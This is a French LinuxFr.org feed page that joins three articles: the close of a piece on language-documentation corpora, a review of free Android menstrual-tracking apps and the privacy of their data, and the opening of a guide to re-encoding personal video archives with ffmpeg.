          La compilation totalise une centaine d’heures d’enregistrements audio, en grande majorité des narrations monologiques. À noter que les corpus de la compilation sont accès ouvert, via une licence Creative Commons, mais que les droits d’utilisation varient d’un corpus à l’autre. Les données sont accessibles aux formats d’ELAN : .eaf, de Praat : . TextGrid, TEI.xml, et.csv.

          Multi-CAST

          Multi-CAST est également une compilation de 18 corpus de documentation de langues différentes. Les textes annotés via le logiciel ELAN. Contrairement à DoReCo, l’alignement temporel des annotations n’est pas réalisé de manière précise, mais manuellement, par les personnes à l’origine du corpus, à l’échelle de l’énoncé. Les textes sont également en grande majorité des narrations monologiques. L’originalité de cette compilation de corpus vient du fait que les textes contiennent trois couches d’annotation particulières : GRAID, Grammatical Relations and Animacy in Discourse, (voir), puis RefIND et ISNRef (Referent Indexing in Natural Language Discourse, voir Schiborr et al. 2018).

          La page d’accueil de Multi-Cast

          Cette compilation de corpus est aussi disponible dans plusieurs formats. XML évidemment, puisque c’est le format natif d’ELAN, mais aussi TSV et il existe également un paquet pour R. Tout cela est disponible via la licence CC-BY 4.0.

          Conclusion

          J’espère que vous avez apprécié cette introduction à la documentation des langues à travers les logiciels libres. L’idée est surtout d’attiser la curiosité, car il reste évidemment encore de nombreux aspects ou points à discuter et à approfondir. La prochaine fois que j’aborderai le thème de la documentation linguistique ici, j’espère que ça sera pour présenter mon application basée sur Django pour faire de la lexicographie.

          Il y a également un autre sujet sur lequel j’aimerais bien échanger ici prochainement : la question des licences des données collectés et la négociation lorsque l’on travaille avec des personnes à tradition orale. Si ouvrir l’accès aux données de recherche et aux corpus peut sembler être une évidence pour certains, il ne faut pas oublier que souvent, les chercheurs et chercheuses de terrain collectent des informations personnelles, que la connaissance n’est pas forcément considérée comme un bien public et les enregistrements, notamment les narrations, qui ne sont pas forcément perçues comme des fictions, sont souvent couverts par des droits locaux. Enfin, ouvrir ses données de recherche, si c’est permettre à d’autres de réutiliser ses données, requiert beaucoup de travail de la part des linguistes, c’est une tâche longue, ingrate et surtout peu valorisée. Alors qu’il est de plus en plus précaire d’être chercheur en sciences humaines, il est aussi difficile de demander à ces chercheurs et chercheuses de consacrer une grande partie de leur temps à des tâches qui ne leur permettront pas de se constituer un CV, nécessaire si l’on souhaite avoir un poste stable (c’est-à-dire plus de deux ans).

          Label sans IA : ce texte a été rédigé sans aucun aide de la part d’une LLM.

          Commentaires : voir le flux Atom ouvrir dans le navigateur

          • ✇LinuxFr.org : les dépêches
          • Des cycles, des applis et des données
            Avec son plus d’un quart de siècle, il serait temps que LinuxFr se penche sur un sujet qui concerne la population en situation de procréer, soit quelques milliards d’individus, et qui concerne aussi à peu près tout le monde puisqu’il est question de données privées sensibles ; soit encore plus de milliards de personnes. Vous l’avez probablement deviné, il sera donc question des cycles féminins, des applis sous licences libres pour Android servant à le suivre et des données qu’elles récoltent, et

          Des cycles, des applis et des données

          Avec son plus d’un quart de siècle, il serait temps que LinuxFr se penche sur un sujet qui concerne la population en situation de procréer, soit quelques milliards d’individus, et qui concerne aussi à peu près tout le monde puisqu’il est question de données privées sensibles ; soit encore plus de milliards de personnes. Vous l’avez probablement deviné, il sera donc question des cycles féminins, des applis sous licences libres pour Android servant à le suivre et des données qu’elles récoltent, et également de suggestions d’alternatives.

          Théorie de manchots avec des protections hygiéniques entre les ailes le dernier a un ordiphone

          Sommaire

          Le cycle féminin, de la complexité de la gestion du temps

          Un petit rappel qui peut être utile. Le cycle féminin, qui débute au premier jour des règles, est, le plus souvent, de vingt-huit jours, presque comme celui de la Lune qui est d’un peu plus de vingt-sept jours. Il est marqué, à mi-parcours, par une ovulation qui rend les femmes fécondables. Cette coïncidence a fait écrire des âneries, notamment à Aristote :

           Les menstruations ont tendance à se produire naturellement pendant la lune décroissante […]. Car cette période du mois est plus froide et plus humide à cause de la déperdition et de la disparition de la Lune.1

          Les cycles peuvent, en fait, être plus ou moins longs selon les femmes, durer plus ou moins longtemps et être plus ou moins abondants. Et cela change au cours du temps. Un cycle est considéré comme court lorsqu’il dure moins de vingt-deux jours, et long lorsqu’il dure plus de trente-cinq jours2. Un retard de règles peut être le signe d’une grossesse, de problèmes de santé ou du début de la ménopause. La survenue des menstruations plus tôt dans le cycle peut être aussi source d’inquiétude. Surveiller son cycle n’est donc pas inutile. Une jeune fille peut être fécondée dès l’apparition de ses règles, entre onze et treize ans généralement. La grossesse la plus précoce que l’on connaisse est celle de Lina Medina qui a eu un enfant à cinq ans et demi et avait été réglée à trois ans et elle n’est pas la seule petite fille à avoir subi une grossesse précoce.

          Tout cela s’applique aux femmes qui ne bénéficient pas de contraception orale. Les autres peuvent, ou non, selon les contraceptifs, avoir des saignements.

          Des données sensibles

          Le suivi des menstruations concernant un très vaste public, de (très) nombreuses applications existent pour ordiphone : on peut en retrouver quelque chose comme une centaine sur le Play Store, voire plus. Elles proposent toutes basiquement un calendrier où noter les jours des règles avec la possibilité de paramétrer l’ajout d’autres informations :

          • abondance des règles,
          • relations sexuelles, protégées ou non,
          • symptômes physiques,
          • symptômes mentaux

          Ce qui fait beaucoup, beaucoup de données très sensibles si elles sont soigneusement et régulièrement remplies. Des données qui peuvent intéresser des entreprises ou des pouvoirs publics, qui ne se font pas faute de les utiliser.

          Ainsi, en 2019, des applis partageaient gentiment à des fins de revenus publicitaires les données sur Facebook, sans autorisation des personnes concernées. Certaines femmes pendant certaines périodes de leur cycle pouvant être plus susceptibles d’être influencées par des messages publicitaires bien choisis.

          Aux États-Unis, depuis la révocation du droit à l’avortement3 les données collectées par ces applications font craindre qu’elles ne causent des préjudices aux femmes les plus vulnérables. Et les applis peuvent, ont intérêt à, ou ne refuseront pas de collaborer avec la police pour traquer les femmes susceptibles d’avorter.

          Une quinzaine d’experts onusiens estiment que la pénalisation de l’avortement dans quatorze États états-uniens :

          pourrait conduire à des violations des droits des femmes à la vie privée, à l’intégrité et à l’autonomie corporelles, à la liberté de pensée, de conscience, de religion ou de conviction, à l’égalité et à la non-discrimination et à la protection contre la torture et les traitements cruels, inhumains et dégradants, ainsi que contre la violence fondée sur le genre.

          Ce qui concerne des millions de personnes.

          Les mêmes experts constatent que :

          ces interdictions d’avortement dans de nombreux États américains se sont accompagnées d’une érosion constante et rapide du droit à la vie privée, les forces de l’ordre s’appuyant de plus en plus sur des données électroniques pour traquer les personnes souhaitant avorter ou celles qui les aident et les encouragent à le faire. La plupart de ces données peuvent être consultées sans mandat.

          Ce qui vaut spécifiquement pour l’avortement aux USA, vaut pour tout et partout, notamment l’érosion constante du droit à la vie privée. Par exemple, Google admet que les utilisateurs de Chrome peuvent être suivis dans le mode Incognito. Et on rappellera qu’en France, les services de police judiciaires peuvent accéder aux ordiphones à notre insu et qu’on a l’obligation de donner le code de déverrouillage d’un ordiphone sous certaines conditions4.

          Basiquement, comme d’habitude :

          • on donne le moins possible de données,
          • on choisit ses applis, logiciels, réseaux sociaux, magasins en ligne, etc.,
          • on protège ses données.

          Et, accessoirement (⁉) on lit régulièrement LinuxFr ou ces questions sont souvent traitées, notamment avec les étiquettes vie_privée, pistagedonnées personnelles, ainsi que dans la section sécurité.

          Les applis de suivi des menstruations pour Android sur F-Droid

          S’il paraît nécessaire de recourir à une appli de suivi des menstruations, les critères de choix doivent être, d’une part, qu’elle ne collecte aucune donnée, et, d’autre part, que l’on puisse la télécharger de préférence anonymement.

          Sur F-Droid, il y a quatre applis5, dans l’ordre alphabétique BlueMoon, Drip, Log 28 et Periodical, on les retrouve aussi sur le Play Store. Elles sont sous licence GNU-GPL et LGPL. Toutes les quatre permettent d’ajouter beaucoup d’informations sur la santé physique ou mentale et les relations sexuelles. Ces informations ne sont pas nécessaires pour le suivi des menstruations. Elles affirment toutes que les données ne sont stockées que sur le téléphone et ne sont en aucune façon collectées. Seule Periodical est traduite en français, les trois autres sont en anglais.

          BlueMoon : menstruation et contrôle de la fertilité

          Des quatre applis, c’est celle qui exige la version d’Android la plus récente puisqu’elle n’est accessible qu’à partir des versions 8.

          Captures d’écran de l’appli de suivi des menstruations BlueMoon

          BlueMoon prétend suivre les menstruations et la sexualité des utilisatrices. L’écran d’ajout d’une info propose clairement le choix entre les règles, où on précise l’abondance du flux (trois niveaux), et la sexualité. Dans le second cas de figure, l’appli propose d’indiquer le type d’activité (solo, partenaire, groupe) et demande quel type de contraception, à choisir entre huit propositions. Dans les paramètres de l’appli, on peut configurer la surveillance de la prise de pilules contraceptives : cela se manifeste par une notification vous rappelant de la prendre.

          Il est possible de sauvegarder et de restaurer les données, mais dans un format propre à l’application. On peut aussi les supprimer.

          Fiche technique

          • Android 8.0 et plus
          • Licence GNU GPL v3
          • Version 1.0.4 (5), février 2024
          • Développé par Nibs Grob
          • La fiche sur le site F-Droid
          • Le dépôt de l’appli.

          Drip : une esthétique sobre, un mot de passe et des notifications

          Drip est peut-être l’appli la plus aboutie des quatre en termes de fonctionnalités. L’objectif de l’appli, telle qu’elle se définit elle-même :

          rappelez-vous que vous n’avez pas besoin d’une appli pour comprendre votre cycle ! Cependant, drip veut vous aider et faciliter le suivi de vos règles, plus facile et plus sûr.

          Captures d’écran de l’appli de suivi des menstruations drip

          Pour marquer un jour : il faut indiquer les saignements (bleedings) en cochant leur intensité, de spotting (traces) à heavy (abondant). Cela s’affichera sur le calendrier avec des couleurs rouges dont l’intensité varie selon l’importance du flux. Il faut le faire pour chaque jour. Il est possible de marquer un jour et de l’exclure du suivi menstruel. L’appli peut, sur demande, envoyer des notifications quelques jours avant la date prévisible des règles.

          Les statistiques indiquent les durées minimum et maximum des cycles, l’écart-type et le nombre de cycles.

          On peut protéger l’accès à l’appli par un mot de passe, exporter ou importer les données au format CSV et les effacer du téléphone.

          Fiche technique

          • Android 6 et plus pour la dernière version, la version 0.1905.29-beta (3) de 2020 est compatible Android 4.1 et plus
          • Licence GNU GPL v3
          • Version 1.2311.14 (25), janvier 2024
          • Développé par Bloody Health GbR
          • La fiche sur le site F-Droid
          • Le site de l’appli.

          Log28, pour les vieux ordiphones sous Android 4

          Comme pour la précédente : on ajoute des jours en indiquant les saignements. Ici, pas d’indication d’intensité du flux, mais on peut saisir des notes au besoin. La maintenance de Log28 semble en stase : la dernière version date de 2020.

          Captures d’écran de l’appli de suivi des menstruations log28

          L’écran Overview (Aperçu) indique combien de jours il reste, ou, selon la date, le nombre de jours antérieurs à la date du jour. Il permet de faire défiler horizontalement les informations par jour. Dans Add Info (Ajouter des infos) on peut rajouter des notes et d’autres éléments si on a paramétré l’appli pour ce faire. Par défaut tout est coché, sur les captures d’écran de suivi, je n’ai gardé que les Physicals Symptoms (symptômes physiques) et uniquement Bleeding (saignements).

          Dans Calendar (calendrier) on a un aperçu mensuel et on peut faire défiler les mois dans le sens vertical. Et enfin, le menu History (historique) indique les dates de début des cycles, sur la période ainsi que le nombre de jours des règles et celui des cycles. En haut, figurent les moyennes des durées des cycles et des règles. Et c’est tout.

          Fiche technique

          • Android 4 ou plus
          • Licence : LGPL 3 uniquement
          • Version 0.6 .2, octobre 2020
          • Développé par Waterbird Software
          • La fiche de l’appli sur F-Droid
          • Le dépôt de l’appli.

          Periodical, facile à utiliser et en français

          Periodical a le mérite, outre d’être traduite en français, d’être d’une utilisation très simple. Elle s’ouvre sur le calendrier : on appuie sur un jour et elle vous demande s’il faut le marquer comme premier jour des règles. Il n’y a rien d’autre à indiquer ! On peut, bien sûr, « Modifier les détails » pour ajouter d’autres informations, l’intensité par exemple de 1 (léger) à 4 (abondant). L’abondance des flux figure sur le calendrier sous forme de points, de 1 à 4 donc.

          Captures d’écran de l’appli de suivi des menstruations Periodical

          Le calendrier est en couleurs : rouge pour les jours des règles (comme c’est original  !), bleu pour les jours fertiles et jaune pour les autres. Ça ne peut pas se configurer. Il y a un historique avec les moyennes, un historique détaillé par jour. On peut sauvegarder les données au format json.gz ou les restaurer. Et enfin, l’appli a une aide bien complète et bien faite.

          Des quatre, c’est, de mon point de vue, la plus facile à utiliser, mais peut-être la moins réussie sur le plan esthétique.

          Fiche technique

          • Android 5 et plus
          • En français, licence GNU GPL v3.0 ou plus
          • Version 1.75 (99), octobre 2023
          • La fiche de l’appli sur F-Droid
          • Le site de l’appli.

          À quoi servent ces applis ?

          À quoi servent-elles, ou plutôt comment servent-elles ?

          Elles sont, bien évidemment, utilisées pour suivre le flux et pour prévoir les dates, plus ou moins exacte, des prochaines règles et, par conséquent, faire les courses nécessaires afin de ne pas être pris au dépourvu. On peut aussi, par contrecoup prendre certains rendez-vous, médicaux notamment, en fonction, ou encore des jours de congé.

          Elles peuvent aussi être utiles pour les informations de santé en permettant de repérer rapidement un retard des règles et, selon les cas de figure : s’en réjouir, s’en inquiéter, consulter, etc.

          Elles sont susceptibles d’être utilisées dans un but procréatif : repérer les jours les plus fertiles du cycle. Pour un couple dont un (ou les deux) membre se déplace souvent, cela peut être utile pour programmer les déplacements dans la mesure du possible.

          Peut-on les utiliser à des fins contraceptives ? Non si on ne se base que sur les dates d’ovulation ! Enfin pas si on ne veut vraiment pas avoir d’enfant. En revanche, oui si on a besoin d’un suivi de la prise de pilule.

          Et des alternatives

          Suivre ses menstruations n’est pas indispensable, mais, si on en ressent le besoin, une appli n’est pas le seul moyen. Avec ces alternatives, plus ou moins élaborées, les risques de dispersion des données dans la nature numérique sont quasiment nuls.

          On peut faire ça « à l’ancienne » donc sur du papier. Les diaristes peuvent utiliser leur journal : « cher journal, aujourd’hui les anglais ont débarqué, et ça fait un mal de chien. » On peut utiliser un calendrier, ou un agenda. Ça se fabrique et se vend toujours.

          Si vous n’avez pas de calendrier imprimé sous la main, ni envie d’en acheter un, vous pouvez télécharger et imprimer par exemple :

          • un calendrier fait avec Inkscape, la version d’origine est en anglais et vous la modifierez en même pas quinze minutes avec Inkscape en faisant un Rechercher-Remplacer pour le texte et en passant par l’éditeur XML pour les polices (ce logiciel est une merveille),
          • un calendrier annuel pour Calc, à personnaliser car il est en allemand, il s’imprime sur une feuille A4,
          • un pack de calendriers pour Calc. Prendre le fichier « calendrier_perpetuel_annuel_v16 ». La liste des années s’arrête à 2014 mais on peut la modifier et ça fonctionne très bien pour les années à partir de 2024.

          Et, si on préfère passer par l’ordinateur, les calendriers sous Calc ci-dessus peuvent servir. Mais si, en plus, on veut pouvoir s’amuser avec les données avec des calculs et la possibilité d’ajouter des diagrammes, vous pouvez récupérer ce classeur de Suivi des menstruations qui ne fait que ça et ne s’occupe pas des symptômes ou de votre vie sexuelle. En prime, il est utilisable avec Collabora Office pour Android (pas super confortablement). Il est très certainement améliorable et vous pouvez aussi le « détourner » pour d’autres usages après tout. Il est possible de le compliquer pour rajouter tout ce que vous voulez, donc les symptômes, le budget, etc. Il repose principalement sur des plages, des styles et des formules et des formats conditionnels.

          Pour finir, je tiens à remercier celles et ceux qui, sur Mastodon, m’ont donné des pistes pour la rédaction de cette dépêche.


          1. Citation reprise par Marie Desange, Cycles menstruels et cycles lunaires : il y a bien un lien mais pas celui que l’on croit, Presse santé, 25 août 2021. 

          2. Si vous voulez en savoir plus sur la question, Cycle menstruel (règles) : calcul, durée, ovulation, schéma du site Le Journal des femmes, est vraiment bien fait. 

          3. Le droit à l’avortement consiste à pouvoir interrompre volontairement une grossesse sans que cela soit un délit, à pouvoir bénéficier de soins médicaux pour ce faire sans avoir à justifier quoi que ce soit ni dépendre d’une autorisation, et à ne pas risquer de poursuites pénales en cas de fausse couche. Amnesty International considère que c’est un soin de santé de base. Les grossesses sont à chaque fois des risques pour les mères : une femme meurt toutes les deux minutes pendant la grossesse ou l’accouchement. 

          4. Sur le sujet de la surveillance et la démocratie, je vous renvoie à article d’Asma Mhalla Techno-politique de la surveillance de la revue Le Grand Continent. 

          5. Tout au moins, je n’ai repéré que ces quatre là. 

          Commentaires : voir le flux Atom ouvrir dans le navigateur

          • ✇LinuxFr.org : les dépêches
          • Archiver ses vidéos : retour d’expérience.
            Préambule : ma vie (et peut-être aussi la vôtre) Comme probablement beaucoup d’entre vous, j’ai des milliers de photos et vidéos accumulées au cours des 20 dernières années. C’est très pratique de pouvoir stocker cela sur un seul disque dur. Mais cela pose trois problèmes majeurs : la pérennité du support ; le classement des fichiers pour pouvoir en retrouver un en particulier dans… très longtemps. la possibilité de lire des fichiers dans plusieurs années (je pense à des fichiers Publisher 2.0

          Archiver ses vidéos : retour d’expérience.

          Préambule : ma vie (et peut-être aussi la vôtre)

          Comme probablement beaucoup d’entre vous, j’ai des milliers de photos et vidéos accumulées au cours des 20 dernières années. C’est très pratique de pouvoir stocker cela sur un seul disque dur. Mais cela pose trois problèmes majeurs :

          1. la pérennité du support ;
          2. le classement des fichiers pour pouvoir en retrouver un en particulier dans… très longtemps.
          3. la possibilité de lire des fichiers dans plusieurs années (je pense à des fichiers Publisher 2.0 que je ne suis plus parvenu à lire par la suite – et non : les versions ultérieures à Publisher 2.0 ne lisent pas ces fichiers.

          Ce texte s’adresse à toute personne qui se pose trois questions :

          1. Pourrai-je visionner mes fichiers vidéos dans 30 ans pour les montrer à mes petits-enfants ?
          2. Comment organiser/classer mes fichiers vidéos pour les retrouver rapidement ?
          3. Comment réencoder mes fichiers vidéos pour limiter la place occupée (ou, dit autrement : quel format utiliser) ?

          Après avoir lu cette dépêche, je vous recommande très fortement de vous reporter aux commentaires qui suivent car vous y trouverez probablement des précisions, liens, corrections ou suggestions qui l’enrichissent.

          • Pour le point 1., aucun support n’étant inaltérable/incassable, la règle tient en une phrase : « sauvegarder sur plusieurs supports (pour parer une éventuelle défaillance), dans différents endroits (en cas d’incendie, de vol, d’inondation…) et si possible en chiffrant ses disques (pour protéger votre vie privée en cas de vol : c’est incroyablement simple sous linux)
          • Pour le point 2., j’avais rédigé un document il y a fort fort longtemps où j’expliquais que le seul classement pérenne était le classement chronologique (je vous laisse vous reporter au document pour comprendre pourquoi l’utilisation de logiciels propriétaires est à proscrire). Pour résumer, je crée un dossier par année (2023) dans lequel il y a douze sous-dossiers (2023_01, 2023_02 etc.) et dans chacun d’eux, je crée un dossier par jour avec la date et le lieu (par exemple, 2023_06_25_saint_denis_la_reunion indique immédiatement où et quand ont été prises les photos et les vidéos à l’intérieur de ce dossier). Les photos sont renommées (et retournées si nécessaire) automatiquement avec l’instruction jhead -autorot -nf%Y_%m_%d__%H_%M_%S_ *.jpg. Les vidéos sont renommées manuellement sous la forme 2023_06_25__video_02_christophe_et_philippe_en_velo.mov 1
          • Pour le point 3., le format JPG étant ouvert, la lisibilité des photos est garantie dans le temps. Pour les vidéos, c’est un peu plus compliqué puisqu’en général, trois formats interviennent :
            • le codec vidéo pour l’image (comme h264, h265, av1, mjpeg…) ;
            • le codec audio pour le son (comme mp3)
            • le format de conteneur (comme avi, mp4, mts…)

          C’est là où on en revient à l’histoire de ma vie.


          1. note : je n’ai jamais trouvé comment récupérer les métadonnées des vidéos pour les utiliser dans le nom du fichier, comme je le fais avec jhead. 

            Sommaire

            I Il était une fois MA vie !

            Après plus de 20 ans de stockage, mon disque dur de 1 To frisait les 90 % de remplissage. Alors, oui, 1 To, c’est très commun aujourd’hui : il me suffisait d’acheter un disque de 4 To et le problème était réglé.

            Oui… mais non. Je n’aime pas occuper de la place. Je pense que c’est une mauvaise habitude que d’avoir des téraoctets disponibles ou des gigaoctets sur une carte SD pour son smartphone que l’on utilise sans se poser de questions en ayant l’impression d’un stockage illimité. Car un jour, cela nous revient dans les dents (carte SD/disque dur qui plante sans sauvegarde, réinstallation de tout le système, sauvegarde de ses milliers de photos que l’on se décide - un jour - de ranger dans un dossier A_RANGER1 puis A_RANGER2 puis A_RANGER3, etc. puis on abandonne).

            En ayant un espace de stockage limité, on doit apprendre à le gérer.

            Les plus anciens se souviennent peut-être des magnétoscopes : on achète des cassettes, on enregistre des films en se disant « je le regarderai un jour » et on se retrouve avec des centaines de cassettes qui prennent la poussière. Ben c’est pareil avec les disques durs : on a des téraoctets en pagaille et on se dit : « je garde, on ne sait jamais. Et un jour (qui n’arrivera jamais), je ferai le tri ! »
            J’en reviens donc à mon disque dur quasi plein. Je fais une recherche sur mes fichiers vidéos et regarde le débit binaire (bitrate par la suite) : 40 000 kb/s soit environ 5 Mo/s pour des vidéos FullHD et jusqu’à 100 Mb/s (12 Mo/s) pour des vidéos 4k (évidemment, cela dépend de l’appareil à l’origine de la vidéo). Voici les différents bitrate que j’ai pu rencontrer :
            • fichier mp4 4K drone : 100 Mb/s ;
            • fichier mp4 4K go pro : 60 Mb/s
            • fichier mov FullHD : environ 16Mb/s
            • ficher avi 640*480 : environ 15 MB/ (mjpeg et format son araw)
            • fichier avi 320*240 : entre 1 et 2,5 Mb/s

            Loin d’être un expert dans la compression vidéo, le poids des fichiers m’interpelle quand même. En effet, un site de téléchargement de films - que je n’ai jamais fréquenté car c’est illégal - a pour objectif d’optimiser le ratio qualité/poids et donc d’offrir une bonne qualité visuelle pour un poids réduit. Ainsi, un film en FullHD de 90 min a un poids de 1400 Mo soit un bitrate d’environ 2 Mb/s (250 ko/s avec le codec H264). Un film en 4K de 90 min a un poids de 4 Go soit un bitrate d’environ 4Mb (500 ko/s avec le codec H265). Et il paraît – je ne le sais pas directement car je n’ai jamais fréquenté ce site dont je ne connais même pas l’existence – que la qualité des films sur le site en question est bonne, visuellement parlant s’entend.

            Il était donc temps de se mettre au travail et de réencoder mes vidéos personnelles.

            L’objectif de ce document est donc triple (et permettra de répondre aux questions 1. et 3. que s’est posé le lecteur ou la lectrice dans le préambule :

            • ré encoder ses vidéos automatiquement via un script bash (en utilisant le logiciel libre ffmpeg ) sans perte de qualité visible  ;
            • réduire le poids des fichiers de façon notable (par notable, j’entends ici une réduction d’au moins 20 %, ce qui est totalement subjectif, mais j’assume) ;
            • s’assurer de la pérennité de ses vidéos (i.e. être capable de les visionner dans 20 ans) ;

            II Mon environnement

            • Le matériel : Lenovo V45 (payé 300 € environ avec un AMD A4-9125 radeon R3, 8Go de mémoire vive et un SSD Samsung de 1To, le tout sous kubuntu 22,04).
            • Les logiciels : ffmpeg version 4.4.2, vlc, krename (pour renommer ses fichiers par lot), kfind pour retrouver des fichiers avec des extensions précises (je ne maîtrise pas du tout l’outil en ligne de commande find), avidemux pour faire du montage vidéo basique (couper quelques minutes d’une vidéo par exemple), dolphin pour naviguer dans les fichiers et, surtout, indicator-cpufreq (qui permet de réduire la fréquence du processeur et éviter que le ventilateur ne tourne en permanence).

            III Les choix techniques

            Je ne devais utiliser que des logiciels libres et des formats ouverts. Pour les logiciels : mon choix s’est porté sur ffmpeg pour l’encodage car c’est LA référence pour la conversion de vidéos, même si l’usage de la ligne de commande peut rebuter cetains (mais vous verrez par la suite que les scripts simplifient grandement la vie). Pour les formats :

            • MP3 pour l’audio : il n’est plus protégé par un brevet depuis 2017 et me convenait parfaitement, en choisissant un débit de 250kb/s (ce qui est sûrement excessif mais la place occupée par le son dans une vidéo est faible par rapport à la vidéo). Je sais qu’il y a vorbis mais le mp3 me semble plus « universel », notamment si l’on regarde la vidéo sur un téléviseur
            • MKV pour le conteneur : c’est un format ouvert et qui est lu sur tous les téléviseurs sur lesquels j’ai pu le tester.
            • H265 pour le format vidéo : c’est un format sorti en 2013 soumis à brevet mais il est possible d’utiliser une bibliothèque libre (x265) pour effectuer l’encodage (c’est cette bibliothèque qu’utilise ffmpeg). Là encore, lorsque j’ai testé des vidéos encodées en h265 sur différents téléviseurs pas trop vieux, je n’ai jamais eu de problème. Sachez qu’il existe le format AV1, plus récent, plus efficace en termes de compression, libre et qui répond à mes besoins. Mais deux éléments m’ont fait renoncer à l’utiliser :
              • l’encodage (avec ma machine) est extrêmement lent (j’ai abandonné l’encodage de 30 secondes de vidéo quand, après une heure, il en était toujours à la première seconde !) ;
              • il n’est pas encore généralisé : peu de téléviseurs peuvent lire ce format (si vous en connaissez, je suis preneur). Il est fort probable que dans une dizaine d’années, je réencoderai mes vidéos en AV1, mais laissons cela pour plus tard.

            J’ai également choisi d’encoder mes vidéos en deux passes car cela me permet de décider du débit binaire (et donc de la taille du fichier finale) tout en ayant une meilleure qualité qu’en une passe.
            J’ai utilisé le programme indicator-cpufreq qui me permet de réduire au minimum la fréquence de mon processeur (ici 1,2 Gh) afin d’éviter que le ventilateur ne tourne sans arrêt (à noter qu’une mise en veille repasse la fréquence au maximum et il n’est plus possible de la réduire, sauf à redémarrer l’ordinateur). Avec une fréquence réduite au minimum, le ventilateur ne se déclenche que quelques secondes toutes les minutes et le processeur ne dépasse pas les 50°C (c’est hardinfo qui me le dit).

            IV Les problèmes rencontrés et les contraintes (spoiler : il faut du temps !)

            • L’encodage en deux passes permet d’obtenir une meilleure qualité visuelle (de ce que j’ai compris) mais au prix d’un temps de calcul doublé. Ainsi, une vidéo d’une minute (en FullHD) a nécessité environ 100 minutes d’encodage pour obtenir le fichier final. Autant vous dire que mon ordinateur a tourné pendant environ 5 mois près de 20 heures par jour en moyenne. En revanche, j’ai découvert comment arrêter un processus (kill - STOP numero_pid_util) lorsque j’avais besoin de retrouver toute la puissance du processeur et comment le reprendre plus tard (kill - CONT numero_pid_util). Par ailleurs, je n’ai pas trouvé comment utiliser la carte graphique pour le réencodage, car il paraît que c’est plus rapide
            • Je ne connais pas l’instruction ou l’option (si elle existe) de ffmpeg qui permet de conserver les métadonnées des vidéos. Ainsi, la conversion effectuée avec les scripts ci-dessous supprime toutes les métadonnées (pourtant, cela semble possible)
            • Je n’ai pas trouvé, malgré mes recherches, comment reprendre la première passe d’un encodage après une coupure ou un bug (ffmpeg génère un fichier log durant la première passe, fichier qu’il devrait être possible de réutiliser afin de reprendre là où il s’est arrêté). Il m’a donc fallu, parfois, reprendre l’encodage d’une vidéo à zéro.
            • La procédure avant encodage demande de l’organisation :
              • Rechercher toutes ses vidéos est relativement aisé et rapide : kfind permet d’effectuer une recherche sur de multiples formats. Ensuite, un copier-coller sur un autre disque dur permet de les isoler.
              • Il est nécessaire de connaître le bitrate de chacune d’elle. Une recherche Internet et hop, le script qui va bien (voir la partie sur les scripts) génère un fichier CSV pour nous faciliter le travail.
              • Il faut ensuite regrouper les vidéos par débit et définition : ainsi, une vidéo 640*480 de 10 Mb/s ne pouvait pas être dans le même répertoire qu’une vidéo en 320*240 de 5 Mb/s également puisque le bitrate final n’était pas le même. Là, pas de secret, il faut le faire manuellement. Mais rassurez-vous, bien souvent, les vidéos d’une même période ont toute le même bitrate.
              • L’étape suivante a consisté à choisir le débit final des vidéos suivant leur définition de façon à ce que la vidéo finale subisse une compression pas ou peu visible à l’œil par rapport à l’original (ce qui est très subjectif). J’ai donc choisi (en partant des débits de YiFY et un peu au doigt mouillé) :
                • 10 Mb/s pour de la 4K (porté très rarement à 12 Mb/s si la vidéo comportait beaucoup de mouvements) ;
                • 4 Mb/s pour de la FullHD ;
                • environ 2 Mb/s pour de la 640*480
                • 1 Mb/s pour de la 320*240
            • Un bug est apparu lors de la conversion des fichiers MJPEG directement en H265 : les couleurs finales étaient complètement différentes des originales. Je ne suis pas le seul à avoir subi ce qui semble être un bug. Au final, j’ai contourné ce désagrément en convertissant d’abord ces fichiers en xvid avec un gros bitrate pour limiter la perte de qualité (opération très rapide) puis les xvid en H265, ce qui a réglé le problème.
            • J’imagine que, comme beaucoup d’entre nous, je souhaite limiter mon impact environnemental. N’ayant pas de panneaux photovoltaïques, mon empreinte carbone est probablement élevée car j’ai été contraint de laisser tourner mon ordinateur jour et nuit en consommant de l’électricité pas toujours verte. En contrepartie, j’économise l’achat d’un nouveau disque dur. Cela me permet de me donner bonne conscience.

            V Les scripts utilisés

            Ces scripts (qui fonctionnent sous Linux. Pour Windows, il faudra adapter…) ont été écrits à partir de ce que j’ai trouvé sur Internet car ma maîtrise de ce genre d’outils est très fragile voire inexistante (j’ai donc pas mal bidouillé et ils peuvent sûrement être optimisés). Je vous dirais volontiers qu’ils sont sous licence libre ou dans le domaine public mais n’ayant pas noté mes sources, je les livre ci-dessous sans aucune garantie de quoi que ce soit (la seule chose que je peux garantir, c’est que j’ai fait pas mal de modifications par rapport aux scripts originaux).
            Je vous rappelle que pour utiliser ces scripts, vous devez faire un copier-coller du script dans un fichier texte (en utilisant kate par exemple), l’enregistrer puis le rendre exécutable. Ensuite, vous placez ce script dans le répertoire de vos vidéos, et, dans une console, vous tapez ./nom_du_script
            Je pense avoir mis suffisamment de commentaires pour comprendre ce que fait chaque script. Si cela n’était pas le cas, signalez les erreurs ou les suggestions dans les commentaires.
            Voici un résumé pour chacun d’eux :

            1. convertion_par_lot_videos_en_265 : c’est le script que j’ai le plus utilisé pour convertir des vidéos en H265 en choisissant une ou deux passes et le bitrate.
            2. convertion_par_lot_videos_en_265_une_passe_crf : convertir en une seule passe en choisissant la qualité voulue
            3. convertion_par_lot_videos_en_xvid : convertir des vidéos au format XVID, lorsque la conversion des MJPEG vers H265 pose problème
            4. convertion_vers_mkv_par_lot : convertir tous les formats de conteneur en MKV (j’ai eu parfois des problèmes avec certaines extensions, le passage en MKV réglait le problème) ;
            5. convertion_videos_en_son_par_lot : ne garder que le son (pour des vidéos youtube que l’on souhaite uniquement écouter par exemple) ;
            6. convertir_son_en_mp3_garder_video : réeconde uniquement le son en MP3, ne touche pas la vidéo
            7. extraire_image_precise_d_une_video : permet d’extraire une image précise (par exemple la 123) d’une ou plusieurs vidéos. Ce script m’a permis de comparer l’image d’origine et l’image réencodée. J’utilisais ensuite Gimp pour visualiser les différences entre les deux images.
            8. recuperer_bitrate_video_par_lot : récupère tous les bitrates des vidéos d’un même répertoire et l’exporte dans un fichier CSV (données séparées par une espace) ;
            9. recuperer_toutes_infos_video_par_lot : exporte dans un fichier csv les dimensions de l’image, le fps etc. mais pas le bitrate (je n’ai pas trouvé comment fusionner ce script avec le précédent)
